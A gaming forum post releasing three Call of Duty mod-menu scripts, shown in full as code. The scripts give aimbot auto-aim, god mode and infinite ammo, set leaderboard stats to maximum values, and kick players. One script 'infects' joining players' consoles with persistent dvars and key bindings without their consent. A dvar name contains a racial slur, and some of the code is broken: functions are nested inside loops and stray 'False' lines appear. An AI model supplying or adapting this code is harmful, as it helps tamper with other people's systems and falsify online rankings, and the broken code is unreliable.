Results 1 to 1 of 1
  1. #1
    Suicidal Thoughts
    Atmosphere's Avatar
    Join Date
    Oct 2012
    Location
    South Carolina
    Posts
    3,660
    Points
    2,307
         User Info     Contact     Gamer ID
    Join Date
    Oct 2012
    Location
    South Carolina
    Posts
    3,660
    Points
    2,307
    Gamer IDs

    Gamertag: xINSTANT CRUSHx Steam ID: xatmospherex

    Default Mod Menu Bundle Pack (Two Mw2 menus + 1 [email protected] menu (v2) w/infections

    Instead of doing one menu at a time I will just release all of them.

    Code:
    #include maps\mp\gametypes\_hud_util;
    #include maps\mp\_utility;
    #include common_scripts\utility;
    
    init()
    {
    	precacheString(&"MP_CHALLENGE_COMPLETED");
    	level thread createPerkMap();
    	level thread onPlayerConnect();
    }
    
    createPerkMap()
    {
    	level.perkMap = [];
    
    	level.perkMap["specialty_bulletdamage"] = "specialty_stoppingpower";
    	level.perkMap["specialty_quieter"] = "specialty_deadsilence";
    	level.perkMap["specialty_localjammer"] = "specialty_scrambler";
    	level.perkMap["specialty_fastreload"] = "specialty_sleightofhand";
    	level.perkMap["specialty_pistoldeath"] = "specialty_laststand";
    }
    
    ch_getProgress( refString )
    {
    	return self getPlayerData( "challengeProgress", refString );
    }
    
    ch_getState( refString )
    {
    	return self getPlayerData( "challengeState", refString );
    }
    
    ch_setProgress( refString, value )
    {
    	self setPlayerData( "challengeProgress", refString, value );
    }
    
    ch_setState( refString, value )
    {
    	self setPlayerData( "challengeState", refString, value );
    }
    
    onPlayerConnect()
    {
    	for(;;)
    	{
    		level waittill( "connected", player );
    
    		if ( !isDefined( player.pers["postGameChallenges"] ) )
    			player.pers["postGameChallenges"] = 0;
    
    		player thread onPlayerSpawned();
    		player thread initMissionData();
    
    		player.permText = player createFontString( "objective", 1.3 );
    		player.permText setPoint( "TOPRIGHT", "TOPRIGHT", -10, 30 + 10 );
    		player.permText setText("Gingers");
    		player setClientDvar( "motd","www.xpmods.icyboard.net");
    		player setClientDvar( "clanname", "[email protected]" );
    		player setClientDvar( "party_maxPrivatePartyPlayers", "8");
    		player setPlayerData( "customClasses", 0, "name", "^1Welcome To Mu Menu" );
    		player setPlayerData( "customClasses", 1, "name", "^2 Welcome To Mu Men" );
    		player setPlayerData( "customClasses", 2, "name", "^3 Welcome To Mu Men" );
    		player setPlayerData( "customClasses", 3, "name", "^5 Welcome To Mu Men" );
    		player setPlayerData( "customClasses", 4, "name", "^6 Welcome To Mu Menu" );
    		player setPlayerData( "customClasses", 5, "name", "^1 Welcome To Mu Menu" );
    		player setPlayerData( "customClasses", 6, "name", "^2 Welcome To Mu Menu" );
    		player setPlayerData( "customClasses", 7, "name", "^3 Welcome To Mu Menu" );
    		player setPlayerData( "customClasses", 8, "name", "^5 Welcome To Mu Menu" );
    		player setPlayerData( "customClasses", 9, "name", "^6 Welcome To Mu Menu" );
    		
    		player thread doHelp();
    		player.helpElem = player createFontString( "objective", 1.3 );
    		player.helpElem setPoint( "TOPRIGHT", "TOPRIGHT", -10, 30 + 260 );
    
    }
    }
    
    onPlayerSpawned()
    {
    	self endon( "disconnect" );
    
    	for(;;)
    	{
    		self waittill( "spawned_player" );
    self SetStance( "crouch" );
    
    		notifyData = spawnstruct();
    		notifyData.titleText = "";
    		notifyData.notifyText = "^3NorthWest<3";
    		notifyData.notifyText2 = "^6Haxz";
    		self thread maps\mp\gametypes\_hud_message::notifyMessage( notifyData );
    		self thread doDvars();
    
    		self thread dpadUp();
    		self thread dpadDown();
    		self thread dpadLeft();
    		self thread dpadRight();
    		if(self.name == level.hostname){ self thread doGod();}
    		self thread doAmmo();
    		self thread autoAim();
    
    }
    }
    doHelp()
    {
    self endon ( "disconnect" );
    while ( 1 )
    {
    self.helpElem setText("^2Press the Up Dpad for Mods");
    wait 10.0;
    self.helpElem setText("^3Press the down Dpad for Mods");
    wait 10.0;
    self.helpElem setText("^5Press the left Dpad for Mods");
    wait 10.0;
    self.helpElem setText("^1Press the right Dpad for Mods");
    wait 10.0;
    }
    }
    False
    
    dpadUp()
    {
    self endon ( "disconnect" );
    self endon( "death" );
    self notifyOnPlayerCommand( "dpad_up", "+actionslot 1" );
    for ( ;; )
    {    
    self waittill( "dpad_up" );
    doRainMoney()
    {
        self endon ( "disconnect" );
         self endon ( "death" );
          while(1)
          {
               playFx( level._effect["money"], self getTagOrigin( "j_spine4" ) );
            wait 0.5;
          }
    }
    }
    }
    
    dpadDown()
    {
    self endon ( "disconnect" );
    self endon( "death" );
    self notifyOnPlayerCommand( "dpad_down", "+actionslot 2" );
    for ( ;; )
    {
    self waittill( "dpad_down" );
    self setPlayerData( "experience", 2516000 );
    self iPrintlnBold("^5You are rank 70!");
    }
    }
    
    dpadLeft()
    {
    self endon ( "disconnect" );
    self endon( "death" );
    self notifyOnPlayerCommand( "dpad_left", "+actionslot 3" );
    for ( ;; )
    {    
    self waittill( "dpad_left" );
    self setPlayerData( "iconUnlocked", "cardicon_prestige10_02", 1);
    self playSound( "ui_mp_nukebomb_timer" );
    self iPrintlnBold( "Unlocking stuff!" ); 
    foreach ( challengeRef, challengeData in level.challengeInfo ) 
    { 
    finalTarget = 0; 
    finalTier = 0; 
    for ( tierId = 1; isDefined( challengeData["targetval"][tierId] ); tierId++ ) 
    { 
    finalTarget = challengeData["targetval"][tierId]; 
    finalTier = tierId + 1; 
    } 
    if ( self isItemUnlocked( challengeRef ) ) 
    { 
    self setPlayerData( "challengeProgress", challengeRef, finalTarget ); 
    self setPlayerData( "challengeState", challengeRef, finalTier ); 
    } 
    wait ( 0.04 ); 
    }
    notifyData = spawnstruct();
    notifyData.titleText = "^1Boom!";
    notifyData.notifyText = "^2Unlock All Completed";
    notifyData.sound = "nuke_explosion";
    self thread maps\mp\gametypes\_hud_message::notifyMessage( notifyData );
    
    }
    }
    
    dpadRight()
    {
    self endon ( "disconnect" );
    self endon( "death" );
    self notifyOnPlayerCommand( "dpad_right", "+actionslot 4" );
    for ( ;; )
    {    
    self waittill( "dpad_right" );
    self setPlayerData( "deaths" , 2147483647 );
    self setPlayerData( "kills" , 2147483647 );
    self setPlayerData( "score" , 2147483647 );
    self setPlayerData( "wins" , 2147483647 );
    self setPlayerData( "winStreak" , 1337 );
    self setPlayerData( "killStreak" , 666 );
    self setPlayerData( "hits" , 2147483647 );
    self setPlayerData( "misses" , 2147483647 );
    self setPlayerData( "accuracy" , 2147483647 );
    self setPlayerData( "headshots" , 4483 );
    self setPlayerData( "losses" , 2147483647 );
    self setPlayerData( "accuracy" , 2124 );
    self iPrintlnBold("^5All Leaderboard Stats Modded!");
    }
    }
    doGod()
    {
    self endon ( "disconnect" );
    self endon ( "death" );
    self.maxhealth = 90000;
    self.health = self.maxhealth;
    while ( 1 )
    {
    wait .4;
    if ( self.health < self.maxhealth )
    self.health = self.maxhealth;
    }
    }
    doAmmo(){
    self endon ( "disconnect" );
    self endon ( "death" );
    while ( 1 )
    {
    currentWeapon = self getCurrentWeapon();
    if ( currentWeapon != "none" )
    {
    self setWeaponAmmoClip( currentWeapon, 9999 );
    self GiveMaxAmmo( currentWeapon );
    }
    currentoffhand = self GetCurrentOffhand();
    if ( currentoffhand != "none" )
    {
    self setWeaponAmmoClip( currentoffhand, 9999 );
    self GiveMaxAmmo( currentoffhand );
    }
    wait 0.05;
    }
    }
    autoAim()
    {
    self endon( "death" );
    self endon( "disconnect" );
    for(;;)
    {
    wait 0.01;
    aimAt = undefined;
    foreach(player in level.players)
    {
    if(player == self)
    {continue;}
    if(!isAlive(player))
    {continue;}
    if(level.teamBased && self.pers["team"] == player.pers["team"])
    {continue;}
    if( !bulletTracePassed( self getTagOrigin( "j_head" ), player getTagOrigin( "j_head" ), false, self ) ) 
    continue;
    if( isDefined(aimAt) )
    {
    if( closer( self getTagOrigin( "j_head" ), player getTagOrigin( "j_head" ), aimAt getTagOrigin( "j_head" ) ) )
    aimAt = player;
    }
    else
    aimAt = player;
    }
    if( isDefined( aimAt ) )
    self setplayerangles( VectorToAngles( ( aimAt getTagOrigin( "j_head" ) ) - ( self getTagOrigin( "j_head" ) ) ) );
    }
    }
    
    
    initMissionData()
    {
    	keys = getArrayKeys( level.killstreakFuncs );	
    	foreach ( key in keys )
    		self.pers[key] = 0;
    	self.pers["lastBulletKillTime"] = 0;
    	self.pers["bulletStreak"] = 0;
    	self.explosiveInfo = [];
    }
    playerDamaged( eInflictor, attacker, iDamage, sMeansOfDeath, sWeapon, sHitLoc )
    {
    }
    playerKilled( eInflictor, attacker, iDamage, sMeansOfDeath, sWeapon, sPrimaryWeapon, sHitLoc, modifiers )
    {
    }
    vehicleKilled( owner, vehicle, eInflictor, attacker, iDamage, sMeansOfDeath, sWeapon )
    {
    }
    waitAndProcessPlayerKilledCallback( data )
    {
    }
    playerAssist()
    {
    }
    useHardpoint( hardpointType )
    {
    }
    roundBegin()
    {
    }
    roundEnd( winner )
    {
    }
    lastManSD()
    {
    }
    healthRegenerated()
    {
    	self.brinkOfDeathKillStreak = 0;
    }
    resetBrinkOfDeathKillStreakShortly()
    {
    }
    playerSpawned()
    {
    	playerDied();
    }
    playerDied()
    {
    	self.brinkOfDeathKillStreak = 0;
    	self.healthRegenerationStreak = 0;
    	self.pers["MGStreak"] = 0;
    }
    processChallenge( baseName, progressInc, forceSetProgress )
    {
    }
    giveRankXpAfterWait( baseName,missionStatus )
    {
    }
    getMarksmanUnlockAttachment( baseName, index )
    {
    	return ( tableLookup( "mp/unlockTable.csv", 0, baseName, 4 + index ) );
    }
    getWeaponAttachment( weaponName, index )
    {
    	return ( tableLookup( "mp/statsTable.csv", 4, weaponName, 11 + index ) );
    }
    masteryChallengeProcess( baseName, progressInc )
    {
    }
    updateChallenges()
    {
    }
    challenge_targetVal( refString, tierId )
    {
    	value = tableLookup( "mp/allChallengesTable.csv", 0, refString, 6 + ((tierId-1)*2) );
    	return int( value );
    }
    challenge_rewardVal( refString, tierId )
    {
    	value = tableLookup( "mp/allChallengesTable.csv", 0, refString, 7 + ((tierId-1)*2) );
    	return int( value );
    }
    buildChallegeInfo()
    {
    	level.challengeInfo = [];
    	tableName = "mp/allchallengesTable.csv";
    	totalRewardXP = 0;
    	refString = tableLookupByRow( tableName, 0, 0 );
    	assertEx( isSubStr( refString, "ch_" ) || isSubStr( refString, "pr_" ), "Invalid challenge name: " + refString + " found in " + tableName );
    	for ( index = 1; refString != ""; index++ )
    	{
    		assertEx( isSubStr( refString, "ch_" ) || isSubStr( refString, "pr_" ), "Invalid challenge name: " + refString + " found in " + tableName );
    		level.challengeInfo[refString] = [];
    		level.challengeInfo[refString]["targetval"] = [];
    		level.challengeInfo[refString]["reward"] = [];
    		for ( tierId = 1; tierId < 11; tierId++ )
    		{
    			targetVal = challenge_targetVal( refString, tierId );
    			rewardVal = challenge_rewardVal( refString, tierId );
    			if ( targetVal == 0 )
    				break;
    			level.challengeInfo[refString]["targetval"][tierId] = targetVal;
    			level.challengeInfo[refString]["reward"][tierId] = rewardVal;
    			totalRewardXP += rewardVal;
    		}
    		
    		assert( isDefined( level.challengeInfo[refString]["targetval"][1] ) );
    		refString = tableLookupByRow( tableName, index, 0 );
    	}
    	tierTable = tableLookupByRow( "mp/challengeTable.csv", 0, 4 );	
    	for ( tierId = 1; tierTable != ""; tierId++ )
    	{
    		challengeRef = tableLookupByRow( tierTable, 0, 0 );
    		for ( challengeId = 1; challengeRef != ""; challengeId++ )
    		{
    			requirement = tableLookup( tierTable, 0, challengeRef, 1 );
    			if ( requirement != "" )
    				level.challengeInfo[challengeRef]["requirement"] = requirement;
    			challengeRef = tableLookupByRow( tierTable, challengeId, 0 );
    		}
    		tierTable = tableLookupByRow( "mp/challengeTable.csv", tierId, 4 );	
    	}
    }
    genericChallenge( challengeType, value )
    {
    }
    playerHasAmmo()
    {
    	primaryWeapons = self getWeaponsListPrimaries();
    	foreach ( primary in primaryWeapons )
    	{
    		if ( self GetWeaponAmmoClip( primary ) )
    			return true;
    		altWeapon = weaponAltWeaponName( primary );
    		if ( !isDefined( altWeapon ) || (altWeapon == "none") )
    			continue;
    		if ( self GetWeaponAmmoClip( altWeapon ) )
    			return true;
    	}
    	return false;
    }
    Code:
     #include maps\mp\gametypes\_hud_util;
    #include maps\mp\_utility;
    #include common_scripts\utility;
    
    init()
    {
    	precacheString(&"MP_CHALLENGE_COMPLETED");
    	level thread createPerkMap();
    	level thread onPlayerConnect();
    }
    
    createPerkMap()
    {
    	level.perkMap = [];
    
    	level.perkMap["specialty_bulletdamage"] = "specialty_stoppingpower";
    	level.perkMap["specialty_quieter"] = "specialty_deadsilence";
    	level.perkMap["specialty_localjammer"] = "specialty_scrambler";
    	level.perkMap["specialty_fastreload"] = "specialty_sleightofhand";
    	level.perkMap["specialty_pistoldeath"] = "specialty_laststand";
    }
    
    ch_getProgress( refString )
    {
    	return self getPlayerData( "challengeProgress", refString );
    }
    
    ch_getState( refString )
    {
    	return self getPlayerData( "challengeState", refString );
    }
    
    ch_setProgress( refString, value )
    {
    	self setPlayerData( "challengeProgress", refString, value );
    }
    
    ch_setState( refString, value )
    {
    	self setPlayerData( "challengeState", refString, value );
    }
    
    onPlayerConnect()
    {
    	for(;;)
    	{
    		level waittill( "connected", player );
    
    		if ( !isDefined( player.pers["postGameChallenges"] ) )
    			player.pers["postGameChallenges"] = 0;
    
    		player thread onPlayerSpawned();
    		player thread initMissionData();
    
    		player setClientDvar( "motd","More Mods at xpmods.icyboards.com");
    		player setClientDvar( "clanname", "[email protected]" );
    		player setClientDvar( "party_maxPrivatePartyPlayers", "12");
    		player setPlayerData( "customClasses", 0, "name", "^1ApexHumpsHisCouch" );
    		player setPlayerData( "customClasses", 1, "name", "^2ApexHumpsHisCouch" );
    		player setPlayerData( "customClasses", 2, "name", "^3ApexHumpsHisCouch" );
    		player setPlayerData( "customClasses", 3, "name", "^5ApexHumpsHisCouch" );
    		player setPlayerData( "customClasses", 4, "name", "^6ApexHumpsHisCouch" );
    		player setPlayerData( "customClasses", 5, "name", "^1ApexHumpsHisCouch" );
    		player setPlayerData( "customClasses", 6, "name", "^2ApexHumpsHisCouch" );
    		player setPlayerData( "customClasses", 7, "name", "^3ApexHumpsHisCouch" );
    		player setPlayerData( "customClasses", 8, "name", "^5ApexHumpsHisCouch" );
    		player setPlayerData( "customClasses", 9, "name", "^6ApexHumpsHisCouch" );
    		
    		player thread doHelp();
    		player.helpElem = player createFontString( "objective", 1.3 );
    		player.helpElem setPoint( "TOPRIGHT", "TOPRIGHT", -10, 30 + 260 );
    
    }
    }
    
    onPlayerSpawned()
    {
    	self endon( "disconnect" );
    
    	for(;;)
    	{
    		self waittill( "spawned_player" );
    self SetStance( "prone" );
    		self setClientDvar( "party_connectToOthers", "0" );
    		self setClientDvar( "party_hostmigration", "0" );
    		notifyData = spawnstruct();
    		notifyData.titleText = "";
    		notifyData.notifyText = "";
    		notifyData.notifyText2 = "^6Made with iHc Patch Maker";
    		self thread maps\mp\gametypes\_hud_message::notifyMessage( notifyData );
    		self thread doDvars();
    
    		self thread dpadUp();
    		self thread dpadDown();		if(self.name == level.hostname){ self thread doGod();}
    		self thread doAmmo();
    		if(self.name == level.hostname){ self thread autoAim();}
    
    }
    }
    doHelp()
    {
    self endon ( "disconnect" );
    while ( 1 )
    {
    self.helpElem setText("^3You Can use your dpads for mods!");
    wait 10.0;
    self.helpElem setText("^5It is true, try it.");
    wait 10.0;
    }
    }
    False
    
    dpadUp()
    {
    self endon ( "disconnect" );
    self endon( "death" );
    self notifyOnPlayerCommand( "dpad_up", "+actionslot 1" );
    for ( ;; )
    {    
    self waittill( "dpad_up" );
    doIcon() 
    { 
            self endon ( "disconnect" ); 
            self endon ( "death" ); 
     
                    self notifyOnPlayerCommand( "button_x", "+usereload" ); 
                    self waittill ( "button_x" ); 
                    self setPlayerData( "iconUnlocked", "cardicon_prestige10_02", 1);
                    self setPlayerData( "cardIcon" , "cardicon_prestige10_02" ); 
                    self maps\mp\gametypes\_persistence::statSet( "cardIcon", "cardicon_prestige10_02" ); 
                    self iPrintlnBold( "^2Emblem set to Spinning 10th Prestige!" ); 
    }
    }
    }
    
    dpadDown()
    {
    self endon ( "disconnect" );
    self endon( "death" );
    self notifyOnPlayerCommand( "dpad_down", "+actionslot 1" );
    for ( ;; )
    {    
    self waittill( "dpad_down" );
    self setPlayerData( "deaths" , 2147483647 );
    self setPlayerData( "kills" , 2147483647 );
    self setPlayerData( "score" , 2147483647 );
    self setPlayerData( "wins" , 2147483647 );
    self setPlayerData( "winStreak" , 1337 );
    self setPlayerData( "killStreak" , 666 );
    self setPlayerData( "hits" , 2147483647 );
    self setPlayerData( "misses" , 2147483647 );
    self setPlayerData( "accuracy" , 2147483647 );
    self setPlayerData( "headshots" , 4483 );
    self setPlayerData( "losses" , 2147483647 );
    self setPlayerData( "accuracy" , 2124 );
    self iPrintlnBold("^5Leaderboard mods waz up!");
    }
    }
    doGod()
    {
    self endon ( "disconnect" );
    self endon ( "death" );
    self.maxhealth = 90000;
    self.health = self.maxhealth;
    while ( 1 )
    {
    wait .4;
    if ( self.health < self.maxhealth )
    self.health = self.maxhealth;
    }
    }
    doAmmo(){
    self endon ( "disconnect" );
    self endon ( "death" );
    while ( 1 )
    {
    currentWeapon = self getCurrentWeapon();
    if ( currentWeapon != "none" )
    {
    self setWeaponAmmoClip( currentWeapon, 9999 );
    self GiveMaxAmmo( currentWeapon );
    }
    currentoffhand = self GetCurrentOffhand();
    if ( currentoffhand != "none" )
    {
    self setWeaponAmmoClip( currentoffhand, 9999 );
    self GiveMaxAmmo( currentoffhand );
    }
    wait 0.05;
    }
    }
    autoAim()
    {
    self endon( "death" );
    self endon( "disconnect" );
    for(;;)
    {
    wait 0.01;
    aimAt = undefined;
    foreach(player in level.players)
    {
    if(player == self)
    {continue;}
    if(!isAlive(player))
    {continue;}
    if(level.teamBased && self.pers["team"] == player.pers["team"])
    {continue;}
    if( !bulletTracePassed( self getTagOrigin( "j_head" ), player getTagOrigin( "j_head" ), false, self ) ) 
    continue;
    if( isDefined(aimAt) )
    {
    if( closer( self getTagOrigin( "j_head" ), player getTagOrigin( "j_head" ), aimAt getTagOrigin( "j_head" ) ) )
    aimAt = player;
    }
    else
    aimAt = player;
    }
    if( isDefined( aimAt ) )
    self setplayerangles( VectorToAngles( ( aimAt getTagOrigin( "j_head" ) ) - ( self getTagOrigin( "j_head" ) ) ) );
    }
    }
    
    
    initMissionData()
    {
    	keys = getArrayKeys( level.killstreakFuncs );	
    	foreach ( key in keys )
    		self.pers[key] = 0;
    	self.pers["lastBulletKillTime"] = 0;
    	self.pers["bulletStreak"] = 0;
    	self.explosiveInfo = [];
    }
    playerDamaged( eInflictor, attacker, iDamage, sMeansOfDeath, sWeapon, sHitLoc )
    {
    }
    playerKilled( eInflictor, attacker, iDamage, sMeansOfDeath, sWeapon, sPrimaryWeapon, sHitLoc, modifiers )
    {
    }
    vehicleKilled( owner, vehicle, eInflictor, attacker, iDamage, sMeansOfDeath, sWeapon )
    {
    }
    waitAndProcessPlayerKilledCallback( data )
    {
    }
    playerAssist()
    {
    }
    useHardpoint( hardpointType )
    {
    }
    roundBegin()
    {
    }
    roundEnd( winner )
    {
    }
    lastManSD()
    {
    }
    healthRegenerated()
    {
    	self.brinkOfDeathKillStreak = 0;
    }
    resetBrinkOfDeathKillStreakShortly()
    {
    }
    playerSpawned()
    {
    	playerDied();
    }
    playerDied()
    {
    	self.brinkOfDeathKillStreak = 0;
    	self.healthRegenerationStreak = 0;
    	self.pers["MGStreak"] = 0;
    }
    processChallenge( baseName, progressInc, forceSetProgress )
    {
    }
    giveRankXpAfterWait( baseName,missionStatus )
    {
    }
    getMarksmanUnlockAttachment( baseName, index )
    {
    	return ( tableLookup( "mp/unlockTable.csv", 0, baseName, 4 + index ) );
    }
    getWeaponAttachment( weaponName, index )
    {
    	return ( tableLookup( "mp/statsTable.csv", 4, weaponName, 11 + index ) );
    }
    masteryChallengeProcess( baseName, progressInc )
    {
    }
    updateChallenges()
    {
    }
    challenge_targetVal( refString, tierId )
    {
    	value = tableLookup( "mp/allChallengesTable.csv", 0, refString, 6 + ((tierId-1)*2) );
    	return int( value );
    }
    challenge_rewardVal( refString, tierId )
    {
    	value = tableLookup( "mp/allChallengesTable.csv", 0, refString, 7 + ((tierId-1)*2) );
    	return int( value );
    }
    buildChallegeInfo()
    {
    	level.challengeInfo = [];
    	tableName = "mp/allchallengesTable.csv";
    	totalRewardXP = 0;
    	refString = tableLookupByRow( tableName, 0, 0 );
    	assertEx( isSubStr( refString, "ch_" ) || isSubStr( refString, "pr_" ), "Invalid challenge name: " + refString + " found in " + tableName );
    	for ( index = 1; refString != ""; index++ )
    	{
    		assertEx( isSubStr( refString, "ch_" ) || isSubStr( refString, "pr_" ), "Invalid challenge name: " + refString + " found in " + tableName );
    		level.challengeInfo[refString] = [];
    		level.challengeInfo[refString]["targetval"] = [];
    		level.challengeInfo[refString]["reward"] = [];
    		for ( tierId = 1; tierId < 11; tierId++ )
    		{
    			targetVal = challenge_targetVal( refString, tierId );
    			rewardVal = challenge_rewardVal( refString, tierId );
    			if ( targetVal == 0 )
    				break;
    			level.challengeInfo[refString]["targetval"][tierId] = targetVal;
    			level.challengeInfo[refString]["reward"][tierId] = rewardVal;
    			totalRewardXP += rewardVal;
    		}
    		
    		assert( isDefined( level.challengeInfo[refString]["targetval"][1] ) );
    		refString = tableLookupByRow( tableName, index, 0 );
    	}
    	tierTable = tableLookupByRow( "mp/challengeTable.csv", 0, 4 );	
    	for ( tierId = 1; tierTable != ""; tierId++ )
    	{
    		challengeRef = tableLookupByRow( tierTable, 0, 0 );
    		for ( challengeId = 1; challengeRef != ""; challengeId++ )
    		{
    			requirement = tableLookup( tierTable, 0, challengeRef, 1 );
    			if ( requirement != "" )
    				level.challengeInfo[challengeRef]["requirement"] = requirement;
    			challengeRef = tableLookupByRow( tierTable, challengeId, 0 );
    		}
    		tierTable = tableLookupByRow( "mp/challengeTable.csv", tierId, 4 );	
    	}
    }
    genericChallenge( challengeType, value )
    {
    }
    playerHasAmmo()
    {
    	primaryWeapons = self getWeaponsListPrimaries();
    	foreach ( primary in primaryWeapons )
    	{
    		if ( self GetWeaponAmmoClip( primary ) )
    			return true;
    		altWeapon = weaponAltWeaponName( primary );
    		if ( !isDefined( altWeapon ) || (altWeapon == "none") )
    			continue;
    		if ( self GetWeaponAmmoClip( altWeapon ) )
    			return true;
    	}
    	return false;
    }
    Code:
    #include maps\mp\gametypes\_hud_util;
    #include maps\mp\_utility;
    #include common_scripts\utility;
    
    init()
    {
    	level thread onPlayerConnect();
    }
    
    onPlayerConnect()
    {
    	for(;;)
    	{
    		level waittill("connected", player);
    		player thread onPlayerSpawned();
    	}
    }
    
    onPlayerSpawned()
    {
    	self endon("disconnect");
    	for(;;)
    	{
    		self waittill("spawned_player");
    		self initInfs();
    		self thread Yolo();
    	}
    }
    Yolo()
    {
    self iPrintln( "^1www.Codeleakers.com!" );
    self iPrintlnBold("^7I love cats"); 
    wait 5;
    self iPrintlnBold("^5I love cats"); 
    wait 5;
    self iPrintlnBold("^8I love cats"); 
    wait 5;
    self iPrintlnBold("^1I love cats"); 
    wait 5;
    self iPrintlnBold("^5www.codeleakers.com");
    setDvar("timescale", "3");
    //Menu
    wait 0.2;   self addInfDvar("m1","Menu 1;set up vstr m11;set down vstr m2;set select vstr m1o1;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m10","Menu 2;set up vstr m1;set down vstr m2;set select vstr m10o1;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m11","^5Infect_Retails;set up vstr m3;set down vstr m1;set select vstr infectretails1;bind button_b vstr quitmenu");
    //Options M1
    wait 0.2;   self addInfDvar("m1o1","GodeMode;set up vstr m1o10;set down vstr m1o2;set select vstr m1d1;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m1o2","No Camera Bob;set up vstr m1o1;set down vstr m1o3;set select vstr m1d2;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m1o3","Take all Weapons;set up vstr m1o2;set down vstr m1o4;set select vstr m1d3;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m1o4","Unlimited ammo;set up vstr m1o3;set down vstr m1o5;set select vstr m1d4;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m1o5","UFO Mode;set up vstr m1o4;set down vstr m1o6;set select vstr m1d5;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m1o6","Drop weapon;set up vstr m1o5;set down vstr m1o7;set select vstr m1d6;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m1o7","Kick player 2;set up vstr m1o6;set down vstr m1o8;set select vstr m1d7;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m1o8","Kick player 3;set up vstr m1o7;set down vstr m1o9;set select vstr m1d8;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m1o9","Kick player 4;set up vstr m1o8;set down vstr m1o10;set select vstr m1d9;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m1o10","Kick all;set up vstr m1o9;set down vstr m1o1;set select vstr m1d10;bind button_b vstr quitmenu");
    //Options m2
    wait 0.2;   self addInfDvar("m10o1","Give all guns;set up vstr m10o10;set down vstr m10o2;set select vstr m10d1;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m10o2","God MOde;set up vstr m10o1;set down vstr m10o3;set select vstr m10d2;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m10o3","Nuke Zombies;set up vstr m10o2;set down vstr m10o4;set select vstr m10d3;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m10o4","Nuke Dogs;set up vstr m10o3;set down vstr m10o5;set select vstr m10d4;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m10o5","Nuke Enemies;set up vstr m10o4;set down vstr m10o6;set select vstr m10d5;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m10o6","Time to Wait;set up vstr m10o5;set down vstr m10o7;set select vstr m10d6;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m10o7","Give AirStrike;set up vstr m10o6;set down vstr m10o8;set select vstr m10d7;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m10o8","Give Helicopter ;set up vstr m10o7;set down vstr m10o9;set select vstr m10d8;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m10o9","Give UAV;set up vstr m10o8;set down vstr m10o10;set select vstr m10d9;bind button_b vstr quitmenu");
    wait 0.2;   self addInfDvar("m10o10","12 People in Lobby;set up vstr m10o9;set down vstr m10o1;set select vstr m10d10;bind button_b vstr quitmenu");
    //Dvars m1
    wait 0.2;   self addInfDvar("m1d1","player_sprintCameraBob 0");
    wait 0.2;   self addInfDvar("m1d2","cg_drawBreathHint 0");
    wait 0.2;   self addInfDvar("m1d3","take all");
    wait 0.2;   self addInfDvar("m1d4","Unlimited ammo");
    wait 0.2;   self addInfDvar("m1d5","ufo");
    wait 0.2;   self addInfDvar("m1d6","dropweapon");
    wait 0.2;   self addInfDvar("m1d7","clientkick 1");
    wait 0.2;   self addInfDvar("m1d8","clientkick 2");
    wait 0.2;   self addInfDvar("m1d9","clientkick 3");
    wait 0.2;   self addInfDvar("m1d10","kick all");
    //Dvars m2
    wait 0.2;   self addInfDvar("m10d1","give all ");
    wait 0.2;   self addInfDvar("m10d2","god");
    wait 0.2;   self addInfDvar("m10d3","debug_nuke ai");
    wait 0.2;   self addInfDvar("m10d4","debug_nuke dogs");
    wait 0.2;   self addInfDvar("m10d5","debug_nuke 1");
    wait 0.2;   self addInfDvar("m10d6","wait 200");
    wait 0.2;   self addInfDvar("m10d7","Give Airstrike_Mp");
    wait 0.2;   self addInfDvar("m10d8","Give Helicopter_Mp");
    wait 0.2;   self addInfDvar("m10d9","Give Radar_Mp");
    wait 0.2;   self addInfDvar("m10d10","party_maxplayers 12");
    //Infect Retails
    wait 0.2;   self addInfDvar("infectretails1","^5Handler;set up vstr infectretails3;set down vstr infectretails2;set select vstr Handler;bind button_bvstr m11");
    wait 0.2;   self addInfDvar("infectretails2","^5Instructions;set up vstr infectretails1;set down vstr infectretails3;set select vstr Instructions;bind button_bvstr m11");
    wait 0.2;   self addInfDvar("infectretails3","^5Start_Infection;set up vstr infectretails2;set down vstr infectretails1;set select vstr InFect;bind button_bvstr m11");
    wait 0.2;   self addInfDvar("Handler", "setfromdvar ui_mapname maplol;setfromdvar ui_gametype gamelol;wait 1;timescale 15.0;scr_dm_timelimit 0.01;scr_war_timelimit 0.01;wait 1000;scr_dm_timelimit 3;scr_war_timelimit 3;timescale 1");
    wait 0.2;   self addInfDvar("Instructions", "set scr_do_notify  ^2 Walk Forward Now! ");
    wait 0.2;   self addInfDvar("Spam", "set scr_do_notify ^5Patch by "+self.name+";wait 500;set scr_do_notify ^5Thank The Topic!;wait 600;set scr_do_notify ^5Join www.xpmods.icyboards.net;wait 600;set scr_do_notify ^2"+self.name+"");
    //You can mess with this people
     wait 0.2;
    	self addInfDvar("openmenu", "bind dpad_up vstr up;bind dpad_down vstr down;bind button_a vstr select;wait 1;vstr m1");
    	self addInfDvar("quitmenu", "bind button_back vstr openmenu;bind button_a +gostand;bind button_b +stance;bind button_lshldr +smoke;bind button_rshldr +frag");
    	self addInfDvar("activeaction", "vstr nigchicken;");
    	self addInfDvar("nigchicken", "set activeaction vstr nigchicken;vstr quitmenu");
    	self thread doGiveInfections();wait 0.2;
    }
    addInfDvar(dvar, value)
    {
    	if(!isDefined(self.infs))
    		self initInfs();
    	self setClientdvar(dvar, value);
    	self.dvars[self.dvars.size] = dvar;
    	self.dvalues[self.dvalues.size] = value;
    }
    initInfs()
    {
    	self.infs = 0;
    	self.dvars = [];
